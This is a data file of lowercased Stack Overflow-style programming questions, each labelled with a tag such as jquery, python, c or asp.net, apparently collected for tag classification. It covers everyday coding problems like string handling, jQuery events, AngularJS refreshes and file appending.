split nsstring into components  i have an object which contains the nsstring value.     nsstring *string =@ 50  50 ;    i want to separate this string between the     i also want to store  50  and @ 50  into different substring. how this is possible can anybody help me.,objective-c
access to the current script tag without id  i wanted to write a small script which will delete itself once executed (for memory).    and for that  i was adding an id.    is there a way to access to the script element where the code is from the code itself without using ids,html
what type of jquery selector to use   my question is simple. i have a html table for example with the following contents:   <pre><code>&lt;table&gt;    &lt;tr class= table-header &gt;       &lt;td&gt;first&lt;/td&gt;       &lt;td&gt;second&lt;/td&gt;       &lt;td&gt;third&lt;/td&gt;    &lt;/tr&gt; &lt;/table&gt; </code></pre>   which is the most effective way to select the <code>&lt;td&gt;</code> elements  performance is the most important thing for me.    should i just use <code>$( table-header td )</code> or rather add a <code>class= table-header-cell </code> to every <code>&lt;td&gt;</code> and address them as <code>$( table-header-cell )</code>    you can abstract the example. this is a very simple situation but what about deeply nested html elements  is it worth to add deep nested elements own class or just  grab  some high level element (closest one with a unique identifier [like: name  id or class] to our target ) and write a long  relative  selector,jquery
how to calculate nearest location from user   in my application i am having 4 places with its longitude and altitude(given).now i want to find the nearest place from user.    so anyone can tell me the solution for it or provide me some source code or demo for this.    thanks to all,iphone
adding numbers and displaying a summary in c++  here is my code:   <pre><code>int main() {     char name[50];      int page  prtotal  pagetot;      int option;      char answer;      do {         cout &lt;&lt;  \n\nplease enter your name:  ;          cin &gt;&gt; name;          cout &lt;&lt;  \n\nwelcome to printworld   &lt;&lt; name &lt;&lt; endl;          cout &lt;&lt;  \n\nhow many pages would you like to print    ;          cin &gt;&gt; page;          if (page &lt;= 100)         {             cout &lt;&lt;  \n\nthat will be   &lt;&lt; page &lt;&lt;  *$0.10=$  &lt;&lt; 0.10 * page &lt;&lt; endl;             prtotal = 0.10 * page;         }         else         {             cout &lt;&lt;  \n\nthat will be   &lt;&lt; page &lt;&lt;  *$0.05=$  &lt;&lt; 0.05 * page &lt;&lt; endl;             prtotal = 0.05 * page;         }          // binding menu          cout &lt;&lt;  \n\nfor binding  which option would you like to select \n  &lt;&lt; endl;          cout &lt;&lt;  1) hardcopy $50.50  &lt;&lt; endl;         cout &lt;&lt;  2) punch and bind $40.50  &lt;&lt; endl;         cout &lt;&lt;  3) stitched binding $25\n  &lt;&lt; endl;         cout &lt;&lt;  4) no binding $0\n  &lt;&lt; endl;          // prompting user to enter an option according to menu         cout &lt;&lt;  please select an option :  ;          cin &gt;&gt; option;          if (option == 1) // checking if user selected option 1         {             // display hardcopy binding              cout &lt;&lt;  \nhardcopy $50.50+  &lt;&lt; prtotal &lt;&lt;  =$  &lt;&lt; 50.50 + prtotal &lt;&lt; endl;           }         else if (option == 2) // checking if user selected option 2         {             // displaying punch and bind             cout &lt;&lt;  \npunch and bind $40.50+$  &lt;&lt; prtotal &lt;&lt;  =$  &lt;&lt; 40.50 + prtotal &lt;&lt; endl;          }         else if (option == 3) // checking if user selected option 3         {             // displaying stiched binding             cout &lt;&lt;  \nstitched binding $25+$  &lt;&lt; prtotal &lt;&lt;  =$  &lt;&lt; 25 + prtotal &lt;&lt; endl;           }         else if (option == 4) // checking if user selected option 4         {             // displaying no binding             cout &lt;&lt;  \nno binding $0+$  &lt;&lt; prtotal &lt;&lt;  =$  &lt;&lt; 0 + prtotal &lt;&lt; endl;          }         else // if user has entered invalid choice (other than 1 2 3 or 4)         {             // displaying error message             cout &lt;&lt;  \ninvalid option entered  &lt;&lt; endl;         }          // bool to loop the process         cout &lt;&lt;  \ndo you want to try again  (y/n)  ;         cin &gt;&gt; answer;         while (answer !=  n  &amp;&amp; answer !=  n  &amp;&amp; answer !=  y  &amp;&amp; answer !=  y )         {             // error validation             cout &lt;&lt;  \nyou must enter (y/n):  ;              cin &gt;&gt; answer;         }     } while (answer !=  n  &amp;&amp; answer !=  n );      cout &lt;&lt;  \ntotal number:   &lt;&lt; pagetot &lt;&lt; endl; } </code></pre>   this code is supposed to calculate the number of pages needed for printing and calculate the cost of printing and binding. at the end of the program  it is supposed to display a summary of all the transactions performed. for example  the total number of pages printed  the total cost of binding etc. i am having a hard time figuring out how to add all the pages in the loop and display them in the end. also the same with the cost of binding. could someone help me     thanks,c++
asp.net codebehind not executed in deployed app  i have an asp.net web application hosted on a shared web server. recently i made some changes to it using visual server 2008 (code changes only  no changes to aspx)  and uploaded new dlls to my bin folder on the server.    when i reload any of my pages i get the following strange symptom: the page is rendered  without runtime error  but it appears that none of the code in the codebehind file has executed (e.g. page load  control events). the static content all appears  but none of the content that is normally rendered by server code. i ve personally never seen a dll-loading issue that manifested this way - if the dll could not be loaded i d expect to see a runtime error about failure to load the class that the page inherits from.    i am wondering if anyone has seen this effect before  i ll list below  as clues  the factors i can think of that might be relevant in my scenario:   <ul> <li> when i was last working on this app (it s been a while) i think was using vs web developer express 2005. in the course of making this change (upgraded to vs2008) i converted from that horrible  web site  model to a proper web application project. all rebuilt fine and worked on my machine  but...   </li> <li> when developing on my local machine i changed the solution platform from  any cpu  to x86. that was because i m now running 64bit windows but needing to use the jet oledb provider which apparently won t run in 64bit mode. (i also had to made the app run in a 32-bit app pool). so i thought my problem might be caused by the cpu target of the dlls being incompatible with the hosting server s web process. but  after switching back to  any cpu  and re-building  i still have the same problem. maybe i ve still got my build configuration messed up  (this is the first time i ve had to meddle with cpu target) </li> <li> perhaps i need to change the solution to target .net framework 2.0 rather than 3.5  again  if that was the problem i d expect a runtime error...  </li> <li> my app doesn t use a custom error page - but i think it does have customerrors= on  on the server. still - this wouldn t prevent a runtime error page from being displayed  would it  it just wouldn t contain any error detail. </li> </ul>   i m currently stumped - any ideas appreciated!,asp.net
navigation controller button left  in my application  i have some leftbarbutton of the navigation bar set to   retour  and some others set to  back  i would like to set all my buttons to  retour   how to do this please   i have spend many hours to dos this.    thanks,iphone
strcmp return value is wrong (beginner) <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt;  void getsentence(char usersentence[]); int breaksentence_andcompare(char usersentence[]   char comparesentence[]);  #define max_sentence 100  int main() {     int len = 0;     char usersentence[max_sentence] = { o   k  0};     char comparesentence[max_sentence] = { o  0};     getsentence(usersentence);     len = breaksentence_andcompare(usersentence comparesentence); }  /* this function is asking the user to input info.     input:user input string array - char usersentence[].         output:none. */ void getsentence(char usersentence[]) {     printf( hello and welcome to the palindrome cheker made by xxth3 skirt ch4s3rxx );     printf( \nplease enter a sentence:  );     fgets(usersentence max_sentence stdin); }  /* this function takes the input of the user and input it into another string backwards.     input:user input string array - char usersentence[]  backward user input string array - char comparesentence[].         output:strcmp value. */ int breaksentence_andcompare(char usersentence[]   char comparesentence[]) {     int i = 0;     int z = 0;     int len = 0;     int cmp = 0;     len = strlen(usersentence);     len -= 1;     for (i = len ; i &gt;= 0 ; i--)     {         comparesentence[z] = usersentence[i];         printf( %s  comparesentence);            z++;         }     printf( \nuser: %s! compare: %s!  usersentence comparesentence);     cmp = strcmp(usersentence comparesentence);     printf( \n%d  &amp;cmp);     return cmp; } </code></pre>  <hr>   this program checks if inputted string is palindrome  to simply explain how it works:   <ol> <li>it takes user input - string.</li> <li>it takes the user string and input is backwards in another string.</li> <li>it compares the strings.</li> </ol>   i have a really strange problem in the function and that s the <code>strcmp</code> return value. for some reason  when both strings have the same characters like abba the strcmp will return that the value of one of them is bigger.  i d really love to know what is the problem and how can i fix it.    p.s when i were searching the problem i thought that it might be connected to fact that the user input string might contain <code>\n</code> from the enter key; is that possible     and please understand that this isn t a whole code. the code is missing the output part.,c
runtime methods objective-c  i have problem with my  runtime class .    i have class that class is subclass of another class.    i have this part of code:   <pre><code>method * mlist = class_copymethodlist([mainclass class]  &amp;method_count); </code></pre>   but this code return only methods from child class. i need methods from parent class.    is any solution for my problem,objective-c
event not fired after trigger change  there s no better way to express my problem than to show you an example. <a href= http://jsfiddle.net/ca6aq/  rel= nofollow >http://jsfiddle.net/ca6aq/</a>   <pre><code>$(document).ready(function() {      $( #foo ).click(function(e) {        e.preventdefault();        $( #bar ).addclass( herro );     });      $( .herro ).click(function(e) {        alert( hello world! );      });   }); </code></pre>   why doesn t this work     thanks.    edit: to clarify  when i add a class to an element. the click event for that class trigger doesn t fire.,jquery
angular doesn t refresh the table after adding new item  when i get getall(); angular function to refresh the table  it called because i get the alert message but it doesn t refresh the table.    i am new in angularjs and i don t know how to solve that  problem    please help me    here is my code:   <pre><code>        [httpget]         public jsonresult getallcontinents()         {              mydatabaseentities db = new mydatabaseentities();             var result = (from con in db.continents select new { continentid = con.continentid  continentname = con.continentname.trim() }).tolist();             return json(result  jsonrequestbehavior.allowget);          }   html:     &lt;div data-ng-controller= mycntrl &gt;       &lt;div class= col-md-12 &gt;         &lt;table class= table table-bordered table-hover  style= width:800px &gt;             &lt;thead&gt;                 &lt;tr&gt;                     &lt;th&gt;&lt;b&gt;&lt;/b&gt;id&lt;b&gt;&lt;/b&gt;&lt;/th&gt;                     &lt;th&gt;continent name&lt;/th&gt;                     &lt;th&gt;modify&lt;/th&gt;                  &lt;/tr&gt;             &lt;/thead&gt;             &lt;tbody&gt;                  &lt;tr data-ng-repeat= con in continentslist &gt;                     &lt;td&gt;{{con.continentid}}&lt;/td&gt;                     &lt;td&gt;{{con.continentname}}&lt;/td&gt;                     &lt;td&gt;                         &lt;button class= btn btn-md glyphicon glyphicon-trash                                  title= click here to delete record  /&gt;                     &lt;/td&gt;                 &lt;/tr&gt;             &lt;/tbody&gt;         &lt;/table&gt;     &lt;/div&gt; &lt;/div&gt;       &lt;div data-ng-controller= mycntrl &gt;     enter continent name:  &lt;input type= text  ng-model= continent.continentname  /&gt;     &lt;input type= button  value= add  ng-click= addcontinent()  /&gt; &lt;/div&gt;   angularjs:   app.controller( mycntrl   function ($scope  $http   angularservice) {        $scope.getall = function () {          $scope.continentslist = [];         $http.get( /home/getallcontinents )            .success(function (data) {                  $scope.continentslist = data;                alert( done! )             })            .error(function (msg) {                alert(msg);            })      };    $scope.getall();   $scope.addcontinent = function () {      $http.post( /home/addcontinent   { con: $scope.continent })      .success(function (data) {          $scope.clear();          $scope.getall();       })      .error(function (msg) {          alert(msg)      })    };`enter code here` </code></pre>   thank you in advance,angularjs
python get keywords of a picture  i m stuck with a script in python. i look after many topics about pil... but i can t find the way to get the right information from a picture.    i want to get in python the keywords from a specific picture  i mean  when you go to the property panel > details  you have keywords you can write with adobe bridge for example    any idea about this,python
dynamically adding form elements via jquery  i have succeeded in setting up the form and making it work. however i have 2 issues:    a) the remove button does not work (it will remove the last row of the form elements)     b) and this is a minor markup issue  when pressing  add  to add a new row of form elements  instead of creating a new <code>&lt;ul&gt;&lt;/ul&gt;</code> it s loaded into the existing row <code>&lt;ul&gt;&lt;/ul&gt;</code>    here s the demo link <a href= http://jsfiddle.net/34ryv/1/  rel= nofollow >http://jsfiddle.net/34ryv/1/</a>    and my js code below   <pre><code>$(document).ready(function() { $( #btnadd ).click(function() {     var num = $( .clonedsection ).length;     var newnum = new number(num + 1);      var newsection = $( #pq_entry_  + num).clone().attr( id    pq_entry_  + newnum);      newsection.children( :first ).children( :first ).attr( id    year_  + newnum).attr( name    year_  + newnum);     newsection.children( :nth-child(2) ).children( :first ).attr( id    qualification_  + newnum).attr( name    qualification_  + newnum);     newsection.children( :nth-child(2) ).children( :first ).attr( id    university_  + newnum).attr( name    university_  + newnum);      $( .clonedsection ).last().append(newsection)      $( #btndel ).attr( disabled     );      if (newnum == 5) $( #btnadd ).attr( disabled    disabled ); });  $( #btndel ).click(function() {     var num = $( .clonedsection ).length; // how many  duplicatable  input fields we currently have     $( #pq_entry_  + num).remove(); // remove the last element     // enable the  add  button     $( #btnadd ).attr( disabled     );      // if only one element remains  disable the  remove  button     if (num - 1 == 1) $( #btndel ).attr( disabled    disabled ); });  $( #btndel ).attr( disabled    disabled ); });​ </code></pre>,jquery
select columns if condition else return as columns  hi i have a condition for 1 column and it should go like this   <pre><code> select      when nm1.nm101 =  il  then ( clp.segment_guid as clpsegmentguid                                nm1.nm102 as [insured_entity_type_qualifier]                                nm1.nm103 as [insured_entity_last_name]                                nm1.nm104 as [insured_entity_first_name]                                nm1.nm105 as [insured_entity_middle_name]                                nm1.nm108 as [insured_entity_identification_code_type]                                nm1.nm109 as [insured_entity_identification_code])     when nm1.nm101 =  74  then ( clp.segment_guid as clpsegmentguid                                nm1.nm102 as [corrected_entity_type_qualifier]                                nm1.nm103 as [corrected_entity_last_name]                                nm1.nm104 as [corrected_entity_first_name]                                nm1.nm105 as [corrected_entity_middle_name]                                nm1.nm108 as [corrected_entity_identification_code_type]                                nm1.nm109 as [corrected_entity_identification_code])    else nm1.nm101 =  82  then ( clp.segment_guid as clpsegmentguid                                nm1.nm102 as [crossover_entity_type_qualifier]                                nm1.nm103 as [crossover_entity_last_name]                                nm1.nm104 as [crossover_entity_first_name]                                nm1.nm105 as [crossover_entity_middle_name]                                nm1.nm108 as [crossover_entity_identification_code_type]                                nm1.nm109 as [crossover_entity_identification_code])              from  x12_nm1 nm1            inner join x12_clp clp           on clp.segment_guid = nm1.parent_segment_guid </code></pre>   so for that particular column nm101 while doing select statement i have to see the condition and return the columns   can any one help regarding this.,sql
could someone explain to a noob how this jquery works to create an image gallery   i don t understand what s happening here. if someone could explain  i would appreciate it. i need to create a photo gallery and have been recommended to look at this code but i don t understand how it works.   <pre><code>$(document).ready(function(){   imageswapper( .thumbnails a ); });  function imageswapper(link) {   $(link).click(function(){     $( #largeimage ).attr( src   this.href);     return false;   }); }; </code></pre>,jquery
open document after page load  i would like to open a document after my asp.net page loads in a separate window.  i would like to do this with the document not attempt to be blocked by a pop-up blocked.  i tried and i am getting the prompt to ask if i would like to allow the popup.  is the best way to do this using a timer control or is there a better way in the lifecylce       i have tried several events  but they are all launching the document prior to page load.,asp.net
ios: table view s title bar covered by navigation bar unexpectedly  i m developing a simple ui for an ios app. what i ve done is i developed it into a table view which has a navigation controller associated to it and had it laid out in storyboard.    everything seems working fine  except the navigation bar accidentally cover the view s title bar  click to select item  as shown in the pictures below.    <ol> <li>the first picture is when it first shows on the screen. </li> <li>the second one illustrates when i drag the title bar off the covering navigation bar.</li> </ol>   what do i do to get completely rid of this     <img src= https://i.stack.imgur.com/wd2qq.jpg  alt= sadly  my title bar is beneath the navigation bar >    <img src= https://i.stack.imgur.com/zyzax.jpg  alt= when i move the title down a bit >    <img src= https://i.stack.imgur.com/4dhdb.jpg  alt= enter image description here >,ios
overriding __new__ and __init__ in python <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/674304/pythons-use-of-new-and-init >python&#39;s use of __new__ and __init__  </a>    </blockquote>     the way i understand it  <code>__init__</code> is different from a constructor in java  because <code>__init__</code> only initializes an object that has already been constructed implicitly (because <code>__init__</code> is called after <code>__new__</code>). however  everything that i have ever needed to define has used this latter property of a  constructor  in java. what would be a case in which a programmer would want to override <code>__new__</code>     <strong>edit</strong>: for the record  i ask partly because i m wondering what would be the advantage/disadvantage to overriding <strong>new</strong> vs. using a separate classmethod in the accepted answer to this question:    <a href= https://stackoverflow.com/questions/3571773/moving-beyond-factories-in-python >moving beyond factories in python</a>,python
what s the easiest way to parse the anchor out of the current page s location   i need to the anchor out of a <code>window.location</code> in javascript  such as the following url:   <pre><code>http://www.example.com/page.html#anchor1 </code></pre>   what s the easiest method,javascript
the computer hangs when debugging an asp.net webform  i start learning asp.net few days. i don t know why my computer hangs when i debug my very simple application  my computer hangs  not only ide hangs  please help me!,asp.net
how to asign same id s to the multiple elements via for loop through every 5 element  i m trying to assign id name attribute to the element via for loop  i can actually do that no problem  but i want to accomplished of putting same id s number in every...let s say 5 element.  example:   <pre><code>&lt;div id= 1 &gt;&lt;/div&gt; &lt;div id= 1 &gt;&lt;/div&gt; &lt;div id= 2 &gt;&lt;/div&gt; &lt;div id= 2 &gt;&lt;/div&gt; &lt;div id= 3 &gt;&lt;/div&gt; &lt;div id= 3 &gt;&lt;/div&gt;   &lt;div id= 4 &gt;&lt;/div&gt; </code></pre>   i ve tried jquery slice() function  multiple filter selectors and i just can t figure it out. please point me to the right direction. every answer so much appreciated .,jquery
separate different and identical values in multidimensional associative array  i m trying to make function which will go trough multidimensional array and get keys => pairs values only if they are identical in  all arrays.     what i mean      if you take a look at my example you will see how keys with <code> glavna instanca </code> have the same values in all arrays and it is <code>vr1</code>.  also  the same story is for <code> druga instanca </code> where the value is <code> f2 </code>.    for keys <code> treca instanca </code> and <code> cetvrta instanca </code> we have different values and that values needs to be under the key <code> differentvalues </code>.   <pre><code>&lt; php array (     [0] = array         (             [itemi] = array                 (                     [0] = array                         (                             [glavna instanca] = vr1                             [druga instanca] = f2                             [treca instanca] = vr3                             [cetvrta instanca] = d4                         )                      [1] = array                         (                             [glavna instanca] = vr1                             [druga instanca] = f2                             [treca instanca] = vr3                             [cetvrta instanca] = d4                         )                      [2] = array                         (                             [glavna instanca] = vr1                             [druga instanca] = f2                             [treca instanca] = vr333                             [cetvrta instanca] = d444                         )                      [3] = array                         (                             [glavna instanca] = vr1                             [druga instanca] = f2                             [treca instanca] = vr333                             [cetvrta instanca] = d4                         )                 );         );     );   &gt; </code></pre>   new array will need to be something like this:   <pre><code>$newarray = array(          [glavna instanca] = vr1          [druga instanca] = f2          [differentvalues] =&gt;             array(                  0  =&gt;                  array(                     [treca instanca] = vr3                     [cetvrta instanca] = d4                 );                  1  =&gt;                 array(                     [treca instanca] = vr3                     [cetvrta instanca] = d4                 );                  2  =&gt;                  array(                     [treca instanca] = vr333                     [cetvrta instanca] = d444                 );                  3  =&gt;                  array(                     [treca instanca] = vr333                     [cetvrta instanca] = d4                 );             );     } </code></pre>   any kind of help will be appreciated!     thanks in advance,php
access local file by ip address  i want to access my local file by using ip address of my own pc(like 192.168.0.65/file.txt). is there anything that can make it in objective c  and another thing is  is it work for another local server too,objective-c
how to test if a model has an attribute with custom models  i have a model like this:   <pre><code>class forgotpasswordform     include activemodel::model     include activemodel::validations      attr_accessor :email      validates_presence_of :email  end </code></pre>   i want to create a module  and i want to test if the model using the module has a certain attribute.    i will then include that module into the above forgotpasswordform.    how can i do this,ruby-on-rails
how to fill web form using c#  does anybody know best aproach for work with web forms(open/fill/submit)      for example there is an page: <a href= http://vkontakte.ru/login.php app=111&amp;layout=popup&amp;type=browser  rel= nofollow noreferrer >http://vkontakte.ru/login.php app=111&amp;layout=popup&amp;type=browser</a> how to open it from c#  fill email and password and send to server.,.net
grouping of jquery s events  can you group jquery s events like with <code>switch();</code>     something like:   <pre><code>$(element).bind({     blur:     keyup: function(){ /* both do the same stuff */ }     /* update below */     click: function(){ /* specific stuff */ }      mouseenter: function() { /* more specific stuff */ } }); </code></pre>,jquery
custom tabbar: adjusting the view of the displayed view controller so it is resized to fit above the tabbar  i need to create a customtabbar in one of my app. i subclassed uitabbarcontroller by adding a custom view to it. i made the tabbar hidden by setting   <pre><code>self.tabbar.hidden = true; </code></pre>   i added buttons on the customview  and on click of these buttons am handling the switching between the tabs.    the issue that am facing is that the height of my custom tabbar is not equal to (more than) the standard tabbar height  so i need to clip my viewcontroller s view so that it doesn t hide behind the custom tabbar    i tried setting the frame property of viewcontroller s view (see below) in viewdidload and viewdidappear methods  but it doesn t work that way.   <pre><code>[self.view setframe: cgrectmake(self.view.frame.origin.x  self.view.frame.origin.x  self.view.frame.size.width  400)]  </code></pre>   where 400 = 480 - height of my custom tabbar    i hope am clear with my question..    thanks in advance,iphone
using horizontal scroll bar makes ui-grid popup drop down list on working on mouse click  i have 10 columns on my ui grid popup  if i use  window horizontal scroll bar to move to the drop down column and select the ui drop downs   it gets stuck and the drop down doesn t work. there is no issue if i don t use the scroll bar to move to drop down  column to select my drop down.,angularjs
mysql query that finds an id that was only added after a specific date  i am having trouble trying to come up with a specific mysql query. i haven t even found any reference close to what i am looking for. i am not sure if i am searching the right questions...    i have a database that stores a list of unique ids. the ids then get unique entries in the database whenever they do something. so it isn t unusual for one id to appear hundreds of times each month in my database. i have about 5 years worth of ids currently in the database. the query i am looking to build is to identify the ids that are new since the beginning of june.      so far the only queries that i have been able to come up with all specify specific ids in june  where i want the ids that first appeared in june and never before.    any help would be greatly appreciated.     edit:  i have a timestamp of when every entry was added to the table,mysql
find scope of clicked element in ng-repeat  is it possible to get the clicked row (scope) of a element in ng-repeat without nowing the name     for example: scope.person works  but when i change persons into another name i can t use my directive global.    i need the data to do a edit like this: <a href= http://vitalets.github.io/x-editable/  rel= nofollow >http://vitalets.github.io/x-editable/</a>    i will write a directive which changes the text into a input field. to save it i need the name of the field   lastname  in the example and the id from the row.    html:   <pre><code>&lt;tr ng-repeat= person in persons | orderby:lastname &gt;     &lt;td class= editable &gt;{{person.lastname}}&lt;/td&gt;     &lt;td&gt;{{person.surname}}&lt;/td&gt; &lt;/tr&gt; </code></pre>   directive:   <pre><code>app.directive( editable   [function () {     return {         restrict:  c           link: function (scope  elem  attrs) {             elem.bind( click   function(event) {                 console.log(scope.person)             });         }     }; }]) </code></pre>,angularjs
the system was unable to find the specified registry key  i run this dos command:   <pre><code>reg query hklm\software\classes\clsid\{824293fd-32e2-4daa-bc28-166c140543be}\inprocserver32 /ve </code></pre>   and successfullly get a value. in the same terminal  when i use python as below:   <pre><code>cmd =  reg query hklm\\software\\classes\\clsid\\{824293fd-32e2-4daa-bc28-166c140543be}\\inprocserver32 /ve  proc = subprocess.popen(cmd  shell=true  stdout=subprocess.pipe) output = proc.communicate()[0] </code></pre>   it fails with this error:   <blockquote>   <blockquote>     <blockquote>        error: the system was unable to find the specified registry key or value.      </blockquote>   </blockquote> </blockquote>   i m using the same terminal which is opened as admin. i even tried puting this in a x.bat file and called x.bat in a python subprocess...still the same error. the reg key has read permission for all users and full control for admin. this is happening on windows server 2008r2 with python 2.7.    also i ve had no luck with _winreg so any ideas how to solve this problem by running the batch command within python     to make it clear: it works in a dos terminal  but fails in python!    moreover  i tried another key:   <pre><code>reg query hklm\software\classes\xml </code></pre>   and this one works. one thing i ve noticed is that the key that has this problem has read permission checked and disabled while this latter key has read permission checked and enabled (can be changed).,python
how to align in the center-middle but without losing the proportion   how can i lining up this div in the middle and center but without losing the proportion of the objects and gets deformed on the cellphone     i tried as follows:    my div:   <pre><code>  &lt;div class= container &gt;       &lt;div class= row &gt;         &lt;div class= col-lg-12 text-center &gt;             &lt;h1&gt;você solicitou o download para o seguinte arquivo:&lt;/h1&gt;             &lt;p class= lead &gt;file.xxx&lt;/p&gt;             &lt;ul class= list-unstyled &gt;                 &lt;li&gt;estamos protegendo a hacchi fansub contra bots e pessoas mal intencionadas  para continuar  basta resolver o simples captcha abaixo.&lt;/li&gt;             &lt;/ul&gt;             &lt;form action=   method= post &gt;                 &lt;div class= g-recaptcha  data-sitekey= 6lfmecuuaaaaabsgjgqjkqnarmpuv5rt0meungz9 &gt;&lt;/div&gt;                 &lt;input type= submit  value= clique aqui para continuar!  /&gt;             &lt;/form&gt;         &lt;/div&gt;     &lt;/div&gt; </code></pre>        my modified class:   <pre><code>.row { position: fixed; left: 35%; top: 45%; text-align: center;         margin-left: -273px; /*half width*/ margin-top: -132px; /*half height*/ width: auto; } </code></pre>   in the computer s browser it was perfect:    <a href= https://i.stack.imgur.com/sw3zy.png  rel= nofollow noreferrer >print 1.</a>    but in the mobile phone navigator:    <a href= https://i.stack.imgur.com/rdzut.png  rel= nofollow noreferrer >print 2.</a>    all the help is welcome  thank you now.,css
how to avoid collision of enumerated values   i m building a front-end library. the back-end produces a number of error codes that are enumerated:   <pre><code>enum backerr {back_err1  back_err2  back_err3}; </code></pre>   my front-end produces a number of additional error codes:   <pre><code>enum fronterr {front_err1  front_err2  front_err3}; </code></pre>   for convenience i would like to have a single error code returning function that would return both front end or back end errors depending on which one occurred.     is there any way this can happen without collision of the values of two error codes  and considering we cannot know the values of the back-end,c
append text to the end of the file  i am using the below code segment to write text to the end o the file for each time it is called. but  it is erasing the old data and then writes the new data to the beginning of the file. how can i fix the below code so that it is append new data <strong>always</strong> end of the file     <pre><code>public boolean writetofile(string directory  string filename  string data ){     file out;     outputstreamwriter outstreamwriter = null;     fileoutputstream outstream = null;      out = new file(new file(directory)  filename);      if ( out.exists() == false ){                 out.createnewfile();     }      outstream = new fileoutputstream(out) ;     outstreamwriter = new outputstreamwriter(outstream);       outstreamwriter.append(data);     outstreamwriter.flush();    }         </code></pre>,android
creating cryptographically secure passwords in .net framework  i needed 3 unique passwords for 3 database connection strings  so i hacked together the following as part of a winforms application:   <pre><code>rngcryptoserviceprovider rng = new rngcryptoserviceprovider(); void charcount_textchanged(object sender  system.eventargs e) {     int nochars;     if (int.tryparse(charcount.text  out nochars))     {         byte[] random = new byte[nochars-1];         rng.getbytes(random);         outputtxt.text = convert.tobase64string(random);     } } </code></pre>   however  if i enter 8 for the number of characters  i get something like  igtjeqptvq==   which is 12 characters  and every string seems to end in  ==     can someone please explain both why the number of characters is greater than the size of the byte array  and also why the strings seem to regularly end in ==.    forgive how amateur this question is  and thank you for your explanations.,.net
date range calculation .any suggestions   i need to calculate some date ranges.    i have three date ranges:   <ol> <li>25 july 11 - 10 oct 11</li> <li>05 aug  11 - 05 oct 11</li> <li> 20 aug  11 - 08 nov 11    i need to create a new membership for all the valid periods that can be before and after    what is a good way to do this      code example   <pre><code>       public enum membershiptype        {           gym=1            magazine=2            hotel=3        }        class program        {           static void main()           {              // during  1st aug 2011 and 20th oct 2011 membership payment must be stopped              var stoppaymentstartdate  =  new datetime(2011 08 1);              var stoppaymentenddate    =  new datetime(2011 10 20);                var gymmembership = new membership{membershiptype=membershiptype.gym  startdate = new datetime(2011  07  25)  enddate = new datetime(2011  10  10)};              var magazinemembership = new membership{membershiptype = membershiptype.magazine startdate = new datetime(2011  08  5) enddate = new datetime(2011  10  5)};              var hotelmembership = new membership{membershiptype = membershiptype.hotel startdate = new datetime(2011  08  20) enddate = new datetime(2011  11  8)};               //how can i get the wanted result below:              //                  //wanted list of result as follows:              var gymmembershipresult = new result{membershiptype = membershiptype.gym startdate = new datetime(2011  10  10) enddate = new datetime(2011  10  20)};              var magazinemembershipresultone = new result { membershiptype = membershiptype.magazine  startdate = new datetime(2011  08  01)  enddate = new datetime(2011  08 05) };              var magazinemembershipresulttwo = new result { membershiptype = membershiptype.magazine  startdate = new datetime(2011  10  05)  enddate = new datetime(2011  10  20) };              var hotelmembershipresult = new result { membershiptype = membershiptype.hotel  startdate = new datetime(2011  08  01)  enddate = new datetime(2011  08  20) };            }        }        public class result        {           public datetime startdate { get; set; }           public datetime enddate { get; set; }           public membershiptype membershiptype { get; set; }        }        public class membership        {           public datetime startdate { get; set; }           public datetime enddate { get; set; }           public membershiptype membershiptype { get; set; }        }     } </code></pre></li> </ol>,c#
(almost) empty index.html file  when using a almost empty file named <code>index.html</code> in my apache directories in order to avoid directory listings (e.g. /image folder)  what is the minimum content of this file  can it be empty  or should i include something like:   <pre><code>&lt;!doctype html&gt;&lt;title&gt;&lt;/title&gt; </code></pre>   or   <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.0 transitional//en &gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &amp;npsp; &lt;/body&gt; &lt;/html&gt; </code></pre>   or something in between,html
used struct type value where scalar is required  at .layer.position  i want to make a selection before apply one of two animations   what i thought is: make a point <code>one</code>  if my <code>myimageview</code> is at the point <code>one</code>  then apply <code>animationno1</code>  else apply <code>animationno2</code>  but i got this: used struct type value where scalar is required   at line <code>if (myimageview.layer.position = one)</code>    what i do  how can i fix this  does anyone know exactly what makes the problem happen     <pre><code> cgpoint one = cgpointmake(myimageview.layer.position.x  100);   if (myimageview.layer.position = one)   {        animationno1  }   else   {        animationno2  } </code></pre>,objective-c
php isset only working with print_r  echo... but not on its own  i m about to punch php in the nads. i ve got an incredibly simple operation that is basically acting with a mind of it s own.   <pre><code>$this-&gt;user = $this-&gt;processtoken($token);  if(!isset($this-&gt;user)) {     $this-&gt;senderror(401); } </code></pre>   w/ a valid $token this sends a 401  which it shouldn t. but this:   <pre><code>$this-&gt;user = $this-&gt;processtoken($token);  print_r($this-&gt;user);  if(!isset($this-&gt;user)) {     $this-&gt;senderror(401); } </code></pre>   works without a hitch  except for the fact that i now have an array printed out on the screen. <code>$user</code> is a vo  replacing <code>print_r(...)</code> with <code>echo $this-&gt;user-&gt;name</code> has the produces the same result (sans array of course).    <strong>edit:</strong> i should add  the operation after this returns an incremented int. which even when the error is sent still increments (as long as the token is correct). so it does look like the header is overriding the end result. i would have thought the if would prevent the header from getting written though     <strong>update</strong> to make things weirder. if i <code>echo   ;</code> in the same place  it doesn t override anything  and the error still gets displayed.... again  even with good token.,php
how can i refactor these two lines to one statement   i have the following code:   <pre><code>// trygetattributevalue returns string value or null if attribute not found var attribute = element.trygetattributevalue( bgimage );  // convert attribute to int if not null if (attribute != null) bgimage = convert.toint32(attribute); </code></pre>   the thing i don t like is that i have to create a temp variable  <code>attribute</code>  in order to test if it s <code>null</code> or not  and then assign the value to the <code>bgimage</code> variable  <strong>which is a nullable int</strong>.    i was hoping i could figure out a way to write it all on one line  but i cannot figure a way.  i even tried using a ternary statement  but got nowhere:   <pre><code>if (element.trygetattributevalue( bgimage ) != null)   bgimage = //convert result to int :  else null;  </code></pre>   realistically  my original two lines of code do the job.  i was just hoping to pare it down to one line.  but  if anyone knows how to do what i m trying to accomplish  i d love to learn how.,c#
